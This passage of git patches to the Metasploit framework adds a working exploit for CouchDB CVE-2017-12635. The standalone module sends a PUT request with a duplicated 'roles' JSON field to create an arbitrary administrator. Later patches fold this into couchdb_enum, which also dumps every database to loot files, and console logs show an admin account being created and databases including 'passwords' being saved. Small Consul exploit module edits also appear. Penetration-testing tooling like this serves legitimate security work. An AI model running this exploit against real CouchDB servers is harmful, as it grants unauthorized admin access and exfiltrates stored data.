b/modules/exploits/multi/misc/consul_service_exec.rb index 4f0d404aee5b..33588d107b66 100644 --- a/modules/exploits/multi/misc/consul_service_exec.rb +++ b/modules/exploits/multi/misc/consul_service_exec.rb @@ -115,8 +115,7 @@ def execute_command(cmd, opts = {}) ), }) if res and not res.code == 200 - fail_with( - Failure::Unknown, + fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.' ) end From 537e12ea7e8fb8b2e6681e615b7df0ebfe4cfdd2 Mon Sep 17 00:00:00 2001 From: Hendrik Van Belleghem Date: Wed, 12 Sep 2018 23:17:34 +0200 Subject: [PATCH 014/220] Added CouchDB user creation with Admin role Auxiliary module - 2017_12635 --- .../admin/http/couchdb_2017-12635.rb | 74 +++++++++++++++++++ 1 file changed, 74 insertions(+) create mode 100644 modules/auxiliary/admin/http/couchdb_2017-12635.rb diff --git a/modules/auxiliary/admin/http/couchdb_2017-12635.rb b/modules/auxiliary/admin/http/couchdb_2017-12635.rb new file mode 100644 index 000000000000..6d436169ae03 --- /dev/null +++ b/modules/auxiliary/admin/http/couchdb_2017-12635.rb @@ -0,0 +1,74 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + Rank = NormalRanking + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'CouchDB user creation with Admin role', + 'Description' => + %q{ + Create arbitrary user and assign to admin role on CouchDB version between 1.7.0 and 2.x before 2.1.1 + }, + 'Author' => 'Hendrik Van Belleghem - hendrikvb', + 'Version' => '0.01', + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE','2017-12635'] + ['URL','https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635'], + ['URL','https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'], + ] + )) + + register_options( + [ + OptString.new('URIPATH', [true, 'The base path', '/_users/org.couchdb.user:']), + OptString.new('RPORT', [true, 'CouchDB Port', '5984']), + OptString.new('RHOST', [true, 'CouchDB Host', '']), + OptString.new('USER', [true, 'CouchDB Username', Rex::Text.rand_text_alpha(12,"")]), + OptString.new('PASSWORD', [true, 'CouchDB Password', Rex::Text.rand_text_alpha(12,"")]), + OptString.new('ROLES', [true, 'CouchDB Roles', '_admin']) + ], self.class) + + end + + def run + rport = datastore['RPORT'] + rhost = datastore['RHOST'] + user = datastore['USER'] + password = datastore['PASSWORD'] + roles = datastore['ROLES'] + useragent = datastore['USERAGENT'] + timeout = datastore['TIMEOUT'] + uripath = datastore['URIPATH'] + + data = "{ +\"type\": \"user\", +\"name\": \"#{user}\", +\"roles\": [\"#{roles}\"], +\"roles\": [], +\"password\": \"#{password}\" +}" + res = send_request_cgi( + { + 'uri' => "http://#{rhost}:#{rport}#{datastore['uripath']}#{user}", # http://hostname:port/_users/org.couchdb.user:username + 'method' => 'PUT', + 'ctype' => 'text/json', + 'data' => data, + }, timeout) + + if res && res.code == 200 + print_good("User #{user} created with password #{password}. Connect to http://#{rhost}:#{rport}/_utils/ to login.") + else + print_error("No 200, feeling blue") + end + end + end From 3e4c3478f62fd200ec96b56525f10fbff53a3364 Mon Sep 17 00:00:00 2001 From: Hendrik Van Belleghem Date: Wed, 12 Sep 2018 23:48:23 +0200 Subject: [PATCH 015/220] Small fixes in couchdb_2017-12635 --- modules/auxiliary/admin/http/couchdb_2017-12635.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/http/couchdb_2017-12635.rb b/modules/auxiliary/admin/http/couchdb_2017-12635.rb index 6d436169ae03..497e4a2efe0b 100644 --- a/modules/auxiliary/admin/http/couchdb_2017-12635.rb +++ b/modules/auxiliary/admin/http/couchdb_2017-12635.rb @@ -22,7 +22,7 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'References' => [ - ['CVE','2017-12635'] + ['CVE','2017-12635'], ['URL','https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635'], ['URL','https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'], ] @@ -33,8 +33,8 @@ def initialize(info = {}) OptString.new('URIPATH', [true, 'The base path', '/_users/org.couchdb.user:']), OptString.new('RPORT', [true, 'CouchDB Port', '5984']), OptString.new('RHOST', [true, 'CouchDB Host', '']), - OptString.new('USER', [true, 'CouchDB Username', Rex::Text.rand_text_alpha(12,"")]), - OptString.new('PASSWORD', [true, 'CouchDB Password', Rex::Text.rand_text_alpha(12,"")]), + OptString.new('USER', [true, 'CouchDB Username you wish to add to database', Rex::Text.rand_text_alpha(12,"")]), + OptString.new('PASSWORD', [true, 'CouchDB Password you wish to add to database', Rex::Text.rand_text_alpha(12,"")]), OptString.new('ROLES', [true, 'CouchDB Roles', '_admin']) ], self.class) From 33037b6b2644c150606bd794686e93a574311b42 Mon Sep 17 00:00:00 2001 From: Hendrik Van Belleghem Date: Fri, 14 Sep 2018 00:15:11 +0200 Subject: [PATCH 016/220] Fixes for CouchDB CVE 2017-12635 module --- .../admin/http/couchdb_2017-12635.rb | 149 +++++++++--------- 1 file changed, 75 insertions(+), 74 deletions(-) diff --git a/modules/auxiliary/admin/http/couchdb_2017-12635.rb b/modules/auxiliary/admin/http/couchdb_2017-12635.rb index 497e4a2efe0b..422a248e607f 100644 --- a/modules/auxiliary/admin/http/couchdb_2017-12635.rb +++ b/modules/auxiliary/admin/http/couchdb_2017-12635.rb @@ -1,74 +1,75 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class MetasploitModule < Msf::Auxiliary - - Rank = NormalRanking - include Msf::Exploit::Remote::HttpClient - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'CouchDB user creation with Admin role', - 'Description' => - %q{ - Create arbitrary user and assign to admin role on CouchDB version between 1.7.0 and 2.x before 2.1.1 - }, - 'Author' => 'Hendrik Van Belleghem - hendrikvb', - 'Version' => '0.01', - 'License' => MSF_LICENSE, - 'References' => - [ - ['CVE','2017-12635'], - ['URL','https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635'], - ['URL','https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'], - ] - )) - - register_options( - [ - OptString.new('URIPATH', [true, 'The base path', '/_users/org.couchdb.user:']), - OptString.new('RPORT', [true, 'CouchDB Port', '5984']), - OptString.new('RHOST', [true, 'CouchDB Host', '']), - OptString.new('USER', [true, 'CouchDB Username you wish to add to database', Rex::Text.rand_text_alpha(12,"")]), - OptString.new('PASSWORD', [true, 'CouchDB Password you wish to add to database', Rex::Text.rand_text_alpha(12,"")]), - OptString.new('ROLES', [true, 'CouchDB Roles', '_admin']) - ], self.class) - - end - - def run - rport = datastore['RPORT'] - rhost = datastore['RHOST'] - user = datastore['USER'] - password = datastore['PASSWORD'] - roles = datastore['ROLES'] - useragent = datastore['USERAGENT'] - timeout = datastore['TIMEOUT'] - uripath = datastore['URIPATH'] - - data = "{ -\"type\": \"user\", -\"name\": \"#{user}\", -\"roles\": [\"#{roles}\"], -\"roles\": [], -\"password\": \"#{password}\" -}" - res = send_request_cgi( - { - 'uri' => "http://#{rhost}:#{rport}#{datastore['uripath']}#{user}", # http://hostname:port/_users/org.couchdb.user:username - 'method' => 'PUT', - 'ctype' => 'text/json', - 'data' => data, - }, timeout) - - if res && res.code == 200 - print_good("User #{user} created with password #{password}. Connect to http://#{rhost}:#{rport}/_utils/ to login.") - else - print_error("No 200, feeling blue") - end - end - end +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + Rank = NormalRanking + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'CouchDB user creation with Admin role', + 'Description' => + %q{ + Create arbitrary user and assign to admin role on CouchDB version between 1.7.0 and 2.x before 2.1.1 + }, + 'Author' => 'Hendrik Van Belleghem - hendrikvb', + 'Version' => '0.02', + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE','2017-12635'], + ['URL','https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635'], + ['URL','https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'], + ] + )) + + register_options( + [ + OptString.new('URIPATH', [true, 'The base path', '/_users/org.couchdb.user:']), + OptString.new('RPORT', [true, 'CouchDB Port', '5984']), + OptString.new('RHOST', [true, 'CouchDB Host', '']), + OptString.new('USER', [true, 'CouchDB Username', Rex::Text.rand_text_alpha(12,"")]), + OptString.new('PASSWORD', [true, 'CouchDB Password', 'password']),#Rex::Text.rand_text_alpha(12,"")]), + OptString.new('ROLES', [true, 'CouchDB Roles', '_admin']) + ], self.class) + + end + + def run + rport = datastore['RPORT'] + rhost = datastore['RHOST'] + user = datastore['USER'] + password = datastore['PASSWORD'] + roles = datastore['ROLES'] + useragent = datastore['USERAGENT'] + timeout = datastore['TIMEOUT'] + uripath = datastore['URIPATH'] + + data = "{ +\"type\": \"user\", +\"name\": \"#{user}\", +\"roles\": [\"#{roles}\"], +\"roles\": [], +\"password\": \"#{password}\" +}" + res = send_request_cgi( + { + 'uri' => "http://#{rhost}:#{rport}#{datastore['uripath']}#{user}", # http://hostname:port/_users/org.couchdb.user:username + 'method' => 'PUT', + 'ctype' => 'text/json', + 'data' => data, + }, timeout) + + if res && res.code == 200 + print_good("User #{user} created with password #{password}. Connect to http://#{rhost}:#{rport}/_utils/ to login.") + else + print_error("Change Failed :(") + end + end + end + From d6847918af2c5c1b9544df60869e27436a4d8af0 Mon Sep 17 00:00:00 2001 From: Hendrik Van Belleghem Date: Fri, 14 Sep 2018 00:49:17 +0200 Subject: [PATCH 017/220] Added documentation for couchdb_2017-12635.rb --- .../admin/http/couchdb_2017-12635.md | 50 +++++++++++++++++++ 1 file changed, 50 insertions(+) create mode 100644 documentation/modules/auxiliary/admin/http/couchdb_2017-12635.md diff --git a/documentation/modules/auxiliary/admin/http/couchdb_2017-12635.md b/documentation/modules/auxiliary/admin/http/couchdb_2017-12635.md new file mode 100644 index 000000000000..1346cb9f27d1 --- /dev/null +++ b/documentation/modules/auxiliary/admin/http/couchdb_2017-12635.md @@ -0,0 +1,50 @@ +## Vulnerable Application + + Apache CouchDB versions between 1.7.0 and 2.x before 2.1.1 + +## Verification Steps + + 1. ```use auxiliary/admin/http/couchdb_2017-12635``` + 2. ```set rhost HOSTNAME``` (required) + 3. ```set user USERNAME``` (required but random value generated) + 4. ```set password PASSWORD``` (required. Set to password) + 5. ```exploit``` + 6. Generates URL for connecting to CouchDB + +## Options + + - rhost + - user + - password + - uripath + - rport + - roles + +## Scenarios + + ``` +msf > use auxiliary/admin/http/couchdb_2017-12635 +smsf auxiliary(admin/http/couchdb_2017-12635) > set rhost localhost +rhost => localhost +msf auxiliary(admin/http/couchdb_2017-12635) > show options + +Module options (auxiliary/admin/http/couchdb_2017-12635): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PASSWORD password yes CouchDB Password + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOST localhost yes CouchDB Host + ROLES _admin yes CouchDB Roles + RPORT 5984 yes CouchDB Port + SSL false no Negotiate SSL/TLS for outgoing connections + URIPATH /_users/org.couchdb.user: yes The base path + USER ZuybcfiIOSlF yes CouchDB Username + VHOST no HTTP server virtual host + +msf auxiliary(admin/http/couchdb_2017-12635) > exploit + +[+] User ZuybcfiIOSlF created with password password. Connect to http://localhost:5984/_utils/ to login. +[*] Auxiliary module execution completed + +``` From aed609d6f02aa39345f41741858dae0959cc819b Mon Sep 17 00:00:00 2001 From: Hendrik Van Belleghem Date: Sat, 15 Sep 2018 13:58:54 +0200 Subject: [PATCH 018/220] Changes in couchdb_enum to also include fill database enumeration --- .../auxiliary/scanner/couchdb/couchdb_enum.rb | 84 ++++++++++++++++--- 1 file changed, 74 insertions(+), 10 deletions(-) diff --git a/modules/auxiliary/scanner/couchdb/couchdb_enum.rb b/modules/auxiliary/scanner/couchdb/couchdb_enum.rb index ca19bff5def3..17dd46110513 100644 --- a/modules/auxiliary/scanner/couchdb/couchdb_enum.rb +++ b/modules/auxiliary/scanner/couchdb/couchdb_enum.rb @@ -16,19 +16,28 @@ def initialize(info = {}) }, 'References' => [ - ['URL', 'https://wiki.apache.org/couchdb/HTTP_database_API'] + ['URL', 'https://wiki.apache.org/couchdb/HTTP_database_API'], + ['CVE','2017-12635'], + ['URL','https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635'], + ['URL','https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'] ], - 'Author' => [ 'Roberto Soares Espreto ' ], + 'Author' => [ 'Roberto Soares Espreto ', + 'Hendrik Van Belleghem - @hendrikvb' + ], 'License' => MSF_LICENSE )) register_options( [ - Opt::RPORT(5984), OptString.new('TARGETURI', [true, 'Path to list all the databases', '/_all_dbs']), OptBool.new('SERVERINFO', [true, 'Print server info']), - OptString.new('HttpUsername', [false, 'The username to login as']), - OptString.new('HttpPassword', [false, 'The password to login with']) + OptBool.new('CREATEUSER', [true, 'Create Administrative user - ']), + OptString.new('HttpUsername', [true, 'CouchDB Username', Rex::Text.rand_text_alpha(12,"")]), + OptString.new('HttpPassword', [true, 'CouchDB Password', 'password']), + OptString.new('RPORT', [true, 'CouchDB Port', '5984']), + OptString.new('RHOST', [true, 'CouchDB Host', '']), + OptString.new('ROLES', [true, 'CouchDB Roles', '_admin']) + ]) end @@ -40,8 +49,8 @@ def get_dbs(auth) begin res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), - 'method' => 'GET', - 'authorization' => auth + 'method' => 'GET'#, + #'authorization' => auth ) temp = JSON.parse(res.body) @@ -54,8 +63,7 @@ def get_dbs(auth) print_status("#{peer} Enumerating Databases...") results = JSON.pretty_generate(temp) print_good("#{peer} Databases:\n\n#{results}\n") - - path = store_loot( + path = store_loot( 'couchdb.enum', 'application/json', rhost, @@ -64,8 +72,29 @@ def get_dbs(auth) ) print_good("#{peer} File saved in: #{path}") + res.get_json_document.each do |db| + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/#{db}/_all_docs?include_docs=true&attachments=true"), + 'method'=> 'GET', + 'authorization' => auth + ) + if res.code != 200 + print_bad("Error retrieving database. Consider providing credentials.") + return + end + temp = JSON.parse(res.body) + results = JSON.pretty_generate(temp) + path = store_loot( + "couchdb.#{db}", + "application/json", + rhost, + results, + "CouchDB Databases" + ) + print_good("#{peer} #{db} saved in: #{path}") + end else - print_error("#{peer} Unable to enum, received \"#{res.code}\"") + print_error("#{peer} Unable to enum, received \"#{res.code}\"") end end @@ -99,13 +128,48 @@ def get_server_info(auth) end end + def create_user + username = datastore['HttpUsername'] + password = datastore['HttpPassword'] + rport = datastore['RPORT'] + rhost = datastore['RHOST'] + roles = datastore['ROLES'] + timeout = datastore['TIMEOUT'] + uripath = datastore['URIPATH'] + + data = "{ +\"type\": \"user\", +\"name\": \"#{username}\", +\"roles\": [\"#{roles}\"], +\"roles\": [], +\"password\": \"#{password}\" +}" + res = send_request_cgi( + { 'uri' => "http://#{rhost}:#{rport}/_users/org.couchdb.user:#{username}", # http://hostname:port/_users/org.couchdb.user:username + 'method' => 'PUT', + 'ctype' => 'text/json', + 'data' => data, + }, timeout) + + if res && res.code == 200 + print_good("User #{username} created with password #{password}. Connect to http://#{rhost}:#{rport}/_utils/ to login.") + else + print_error("Change Failed :(") + end + end + def run username = datastore['HttpUsername'] password = datastore['HttpPassword'] + auth = basic_auth(username, password) if username && password if datastore['SERVERINFO'] get_server_info(auth) end + if datastore['CREATEUSER'] + create_user + end get_dbs(auth) end + end From 4a72a2872f8b1c2534b6a7e707d676d4441b27dc Mon Sep 17 00:00:00 2001 From: Hendrik Van Belleghem Date: Sat, 15 Sep 2018 21:19:51 +0200 Subject: [PATCH 019/220] Changes in couchdb_enum now includes versio checks --- .../auxiliary/scanner/couchdb/couchdb_enum.rb | 57 ++++++++++++++++++- 1 file changed, 56 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/couchdb/couchdb_enum.rb b/modules/auxiliary/scanner/couchdb/couchdb_enum.rb index 17dd46110513..6ee95cd30658 100644 --- a/modules/auxiliary/scanner/couchdb/couchdb_enum.rb +++ b/modules/auxiliary/scanner/couchdb/couchdb_enum.rb @@ -45,6 +45,57 @@ def valid_response(res) return res.code == 200 && res.headers['Server'].include?('CouchDB') end + def get_version + @version = nil + + begin + res = send_request_cgi( + 'uri' => normalize_uri("/"), + 'method' => 'GET', + 'authorization' => @auth + ) + rescue Rex::ConnectionError + vprint_bad("#{peer} - Connection failed") + return false + end + + unless res + vprint_bad("#{peer} - No response, check if it is CouchDB. ") + return false + end + + if res && res.code == 401 + print_bad("#{peer} - Authentication required.") + return false + end + + if res && res.code == 200 + res_json = res.get_json_document + + if res_json.empty? + vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.") + return false + end + + @version = res_json['version'] if res_json['version'] + return true + end + + vprint_warning("#{peer} - Version not found") + return true + end + + def check + get_version + version = Gem::Version.new(@version) + return CheckCode::Unknown if version.version.empty? + vprint_status "Found CouchDB version #{version}" + + return CheckCode::Appears if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) + + CheckCode::Safe + end + def get_dbs(auth) begin res = send_request_cgi( @@ -136,6 +187,7 @@ def create_user roles = datastore['ROLES'] timeout = datastore['TIMEOUT'] uripath = datastore['URIPATH'] + version = @version data = "{ \"type\": \"user\", @@ -167,7 +219,10 @@ def run get_server_info(auth) end if datastore['CREATEUSER'] - create_user + get_version + version = Gem::Version.new(@version) + print_good "Found CouchDB version #{version}" + create_user if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) end get_dbs(auth) end From f5f76a609de2c1564aa34b45d76e64c04736545f Mon Sep 17 00:00:00 2001 From: Hendrik Van Belleghem Date: Sat, 15 Sep 2018 23:31:17 +0200 Subject: [PATCH 020/220] Clean up - old couchdb module --- .../admin/http/couchdb_2017-12635.md | 50 ------------- .../admin/http/couchdb_2017-12635.rb | 75 ------------------- 2 files changed, 125 deletions(-) delete mode 100644 documentation/modules/auxiliary/admin/http/couchdb_2017-12635.md delete mode 100644 modules/auxiliary/admin/http/couchdb_2017-12635.rb diff --git a/documentation/modules/auxiliary/admin/http/couchdb_2017-12635.md b/documentation/modules/auxiliary/admin/http/couchdb_2017-12635.md deleted file mode 100644 index 1346cb9f27d1..000000000000 --- a/documentation/modules/auxiliary/admin/http/couchdb_2017-12635.md +++ /dev/null @@ -1,50 +0,0 @@ -## Vulnerable Application - - Apache CouchDB versions between 1.7.0 and 2.x before 2.1.1 - -## Verification Steps - - 1. ```use auxiliary/admin/http/couchdb_2017-12635``` - 2. ```set rhost HOSTNAME``` (required) - 3. ```set user USERNAME``` (required but random value generated) - 4. ```set password PASSWORD``` (required. Set to password) - 5. ```exploit``` - 6. Generates URL for connecting to CouchDB - -## Options - - - rhost - - user - - password - - uripath - - rport - - roles - -## Scenarios - - ``` -msf > use auxiliary/admin/http/couchdb_2017-12635 -smsf auxiliary(admin/http/couchdb_2017-12635) > set rhost localhost -rhost => localhost -msf auxiliary(admin/http/couchdb_2017-12635) > show options - -Module options (auxiliary/admin/http/couchdb_2017-12635): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - PASSWORD password yes CouchDB Password - Proxies no A proxy chain of format type:host:port[,type:host:port][...] - RHOST localhost yes CouchDB Host - ROLES _admin yes CouchDB Roles - RPORT 5984 yes CouchDB Port - SSL false no Negotiate SSL/TLS for outgoing connections - URIPATH /_users/org.couchdb.user: yes The base path - USER ZuybcfiIOSlF yes CouchDB Username - VHOST no HTTP server virtual host - -msf auxiliary(admin/http/couchdb_2017-12635) > exploit - -[+] User ZuybcfiIOSlF created with password password. Connect to http://localhost:5984/_utils/ to login. -[*] Auxiliary module execution completed - -``` diff --git a/modules/auxiliary/admin/http/couchdb_2017-12635.rb b/modules/auxiliary/admin/http/couchdb_2017-12635.rb deleted file mode 100644 index 422a248e607f..000000000000 --- a/modules/auxiliary/admin/http/couchdb_2017-12635.rb +++ /dev/null @@ -1,75 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class MetasploitModule < Msf::Auxiliary - - Rank = NormalRanking - include Msf::Exploit::Remote::HttpClient - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'CouchDB user creation with Admin role', - 'Description' => - %q{ - Create arbitrary user and assign to admin role on CouchDB version between 1.7.0 and 2.x before 2.1.1 - }, - 'Author' => 'Hendrik Van Belleghem - hendrikvb', - 'Version' => '0.02', - 'License' => MSF_LICENSE, - 'References' => - [ - ['CVE','2017-12635'], - ['URL','https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635'], - ['URL','https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'], - ] - )) - - register_options( - [ - OptString.new('URIPATH', [true, 'The base path', '/_users/org.couchdb.user:']), - OptString.new('RPORT', [true, 'CouchDB Port', '5984']), - OptString.new('RHOST', [true, 'CouchDB Host', '']), - OptString.new('USER', [true, 'CouchDB Username', Rex::Text.rand_text_alpha(12,"")]), - OptString.new('PASSWORD', [true, 'CouchDB Password', 'password']),#Rex::Text.rand_text_alpha(12,"")]), - OptString.new('ROLES', [true, 'CouchDB Roles', '_admin']) - ], self.class) - - end - - def run - rport = datastore['RPORT'] - rhost = datastore['RHOST'] - user = datastore['USER'] - password = datastore['PASSWORD'] - roles = datastore['ROLES'] - useragent = datastore['USERAGENT'] - timeout = datastore['TIMEOUT'] - uripath = datastore['URIPATH'] - - data = "{ -\"type\": \"user\", -\"name\": \"#{user}\", -\"roles\": [\"#{roles}\"], -\"roles\": [], -\"password\": \"#{password}\" -}" - res = send_request_cgi( - { - 'uri' => "http://#{rhost}:#{rport}#{datastore['uripath']}#{user}", # http://hostname:port/_users/org.couchdb.user:username - 'method' => 'PUT', - 'ctype' => 'text/json', - 'data' => data, - }, timeout) - - if res && res.code == 200 - print_good("User #{user} created with password #{password}. Connect to http://#{rhost}:#{rport}/_utils/ to login.") - else - print_error("Change Failed :(") - end - end - end - From 1ed3c0b001dce7900a918f4f7996481e8c1b9d86 Mon Sep 17 00:00:00 2001 From: Hendrik Van Belleghem Date: Sat, 15 Sep 2018 23:34:04 +0200 Subject: [PATCH 021/220] Added Green-M to author list --- modules/auxiliary/scanner/couchdb/couchdb_enum.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/couchdb/couchdb_enum.rb b/modules/auxiliary/scanner/couchdb/couchdb_enum.rb index 6ee95cd30658..64e057315c72 100644 --- a/modules/auxiliary/scanner/couchdb/couchdb_enum.rb +++ b/modules/auxiliary/scanner/couchdb/couchdb_enum.rb @@ -22,7 +22,8 @@ def initialize(info = {}) ['URL','https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'] ], 'Author' => [ 'Roberto Soares Espreto ', - 'Hendrik Van Belleghem - @hendrikvb' + 'Hendrik Van Belleghem - @hendrikvb', # Database dump enhancements + 'Green-m ' # Portions from apache_couchdb_cmd_exec.rb used ], 'License' => MSF_LICENSE )) From 96fd4d452545e94f505f26752abb89b90c49eb2d Mon Sep 17 00:00:00 2001 From: Hendrik Van Belleghem Date: Sat, 15 Sep 2018 23:42:20 +0200 Subject: [PATCH 022/220] Updated documentation for couchdb_enum --- .../auxiliary/scanner/couchdb/couchdb_enum.md | 102 ++++++++++++++++++ 1 file changed, 102 insertions(+) diff --git a/documentation/modules/auxiliary/scanner/couchdb/couchdb_enum.md b/documentation/modules/auxiliary/scanner/couchdb/couchdb_enum.md index 542c64e32210..e08d2a20fb91 100644 --- a/documentation/modules/auxiliary/scanner/couchdb/couchdb_enum.md +++ b/documentation/modules/auxiliary/scanner/couchdb/couchdb_enum.md @@ -24,6 +24,10 @@ The following was done on Ubuntu 16.04, and is largely base on [1and1.com](https If set to true, the server info will also enumerated and set in msf's DB. Defaults to `false` + **createuser** + + If set to true, the server info will attempt to create an account in CouchDB using configured credentials (limited to CVE-2017-12635 conditions). Defaults to `false` + ## Scenarios A run against the configuration from these docs @@ -70,4 +74,102 @@ The following was done on Ubuntu 16.04, and is largely base on [1and1.com](https {"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}} + Standard versus with credential creation + ======================================== + msf > use auxiliary/scanner/couchdb/couchdb_enum + msf auxiliary(scanner/couchdb/couchdb_enum) > set rhost localhost + rhost => localhost + msf auxiliary(scanner/couchdb/couchdb_enum) > exploit + + [*] localhost:5984 Enumerating Databases... + [+] localhost:5984 Databases: + + [ + "_global_changes", + "_metadata", + "_replicator", + "_users", + "passwords", + "simpsons" + ] + + [+] localhost:5984 File saved in: /root/.msf4/loot/20180915211454_default_1_couchdb.enum_214468.bin + [-] Error retrieving database. Consider providing credentials. + [*] Auxiliary module execution completed + + msf auxiliary(scanner/couchdb/couchdb_enum) > set createuser true + createuser => true + msf auxiliary(scanner/couchdb/couchdb_enum) > exploit + + [+] Found CouchDB version 2.0.0 + [+] User mlmUdhNZzDlI created with password password. Connect to http://localhost:5984/_utils/ to login. + [*] localhost:5984 Enumerating Databases... + [+] localhost:5984 Databases: + + [ + "_global_changes", + "_metadata", + "_replicator", + "_users", + "passwords", + "simpsons" + ] + + [+] localhost:5984 File saved in: /root/.msf4/loot/20180915194926_default_1_couchdb.enum_131803.bin + [+] localhost:5984 _global_changes saved in: /root/.msf4/loot/20180915194926_default_1_couchdb._global__824779.bin + [+] localhost:5984 _metadata saved in: /root/.msf4/loot/20180915194926_default_1_couchdb._metadat_584893.bin + [+] localhost:5984 _replicator saved in: /root/.msf4/loot/20180915194926_default_1_couchdb._replica_443706.bin + [+] localhost:5984 _users saved in: /root/.msf4/loot/20180915194926_default_1_couchdb._users_870736.bin + [+] localhost:5984 passwords saved in: /root/.msf4/loot/20180915194926_default_1_couchdb.password_458174.bin + [+] localhost:5984 simpsons saved in: /root/.msf4/loot/20180915194926_default_1_couchdb.simpsons_842642.bin + [*] Auxiliary module execution completed + + msf auxiliary(scanner/couchdb/couchdb_enum) > set httpusername mlmUdhNZzDlI + httpusername => mlmUdhNZzDlI + msf auxiliary(scanner/couchdb/couchdb_enum) > set httppassword password + httppassword => password + msf auxiliary(scanner/couchdb/couchdb_enum) > show options + + Module options (auxiliary/scanner/couchdb/couchdb_enum): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CREATEUSER true yes Create Administrative user - + HttpPassword password yes CouchDB Password + HttpUsername mlmUdhNZzDlI yes CouchDB Username + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOST localhost yes CouchDB Host + ROLES _admin yes CouchDB Roles + RPORT 5984 yes CouchDB Port + SERVERINFO false yes Print server info + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI /_all_dbs yes Path to list all the databases + VHOST no HTTP server virtual host + + msf auxiliary(scanner/couchdb/couchdb_enum) > set createuser false + createuser => false + msf auxiliary(scanner/couchdb/couchdb_enum) > exploit + + [*] localhost:5984 Enumerating Databases... + [+] localhost:5984 Databases: + + [ + "_global_changes", + "_metadata", + "_replicator", + "_users", + "passwords", + "simpsons" + ] + + [+] localhost:5984 File saved in: /root/.msf4/loot/20180915211215_default_1_couchdb.enum_460766.bin + [+] localhost:5984 _global_changes saved in: /root/.msf4/loot/20180915211215_default_1_couchdb._global__821328.bin + [+] localhost:5984 _metadata saved in: /root/.msf4/loot/20180915211215_default_1_couchdb._metadat_410831.bin + [+] localhost:5984 _replicator saved in: /root/.msf4/loot/20180915211215_default_1_couchdb._replica_599375.bin + [+] localhost:5984 _users saved in: /root/.msf4/loot/20180915211216_default_1_couchdb._users_827774.bin + [+] localhost:5984 passwords saved in: /root/.msf4/loot/20180915211216_default_1_couchdb.password_361950.bin + [+] localhost:5984 simpsons saved in: /root/.msf4/loot/20180915211217_default_1_couchdb.simpsons_138031.bin + [*] Auxiliary module execution completed + msf auxiliary(scanner/couchdb/couchdb_enum) > + ``` From e76f3ab22fc2f2aa9fbc1ba015cc5e4fa9cf4eff Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Mon, 29 Oct 2018 13:44:16 +0100 Subject: [PATCH 023/220] No debug. --- modules/exploits/multi/misc/consul_rexec_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/consul_rexec_exec.rb b/modules/exploits/multi/misc/consul_rexec_exec.rb index 1492699f1017..630dd5461fba 100644 --- a/modules/exploits/multi/misc/consul_rexec_exec.rb +++ b/modules/exploits/multi/misc/consul_rexec_exec.rb @@ -56,7 +56,7 @@ def check if res and res.code == 200 begin agent_info = JSON.parse(res.body) - if agent_info["DebugConfig"]["DisableRemoteExec"] == false + if agent_info["Config"]["DisableRemoteExec"] == false return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe From 1d337e9987ab378babc6679182fbca442e5f3094 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Mon, 29 Oct 2018 13:46:07 +0100 Subject: [PATCH 024/220] No debug. --- modules/exploits/multi/misc/consul_service_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/consul_service_exec.rb b/modules/exploits/multi/misc/consul_service_exec.rb index 33588d107b66..b311b9774477 100644 --- a/modules/exploits/multi/misc/consul_service_exec.rb +++ b/modules/exploits/multi/misc/consul_service_exec.rb @@ -57,7 +57,7 @@ def check if res and res.code == 200 begin agent_info = JSON.parse(res.body) 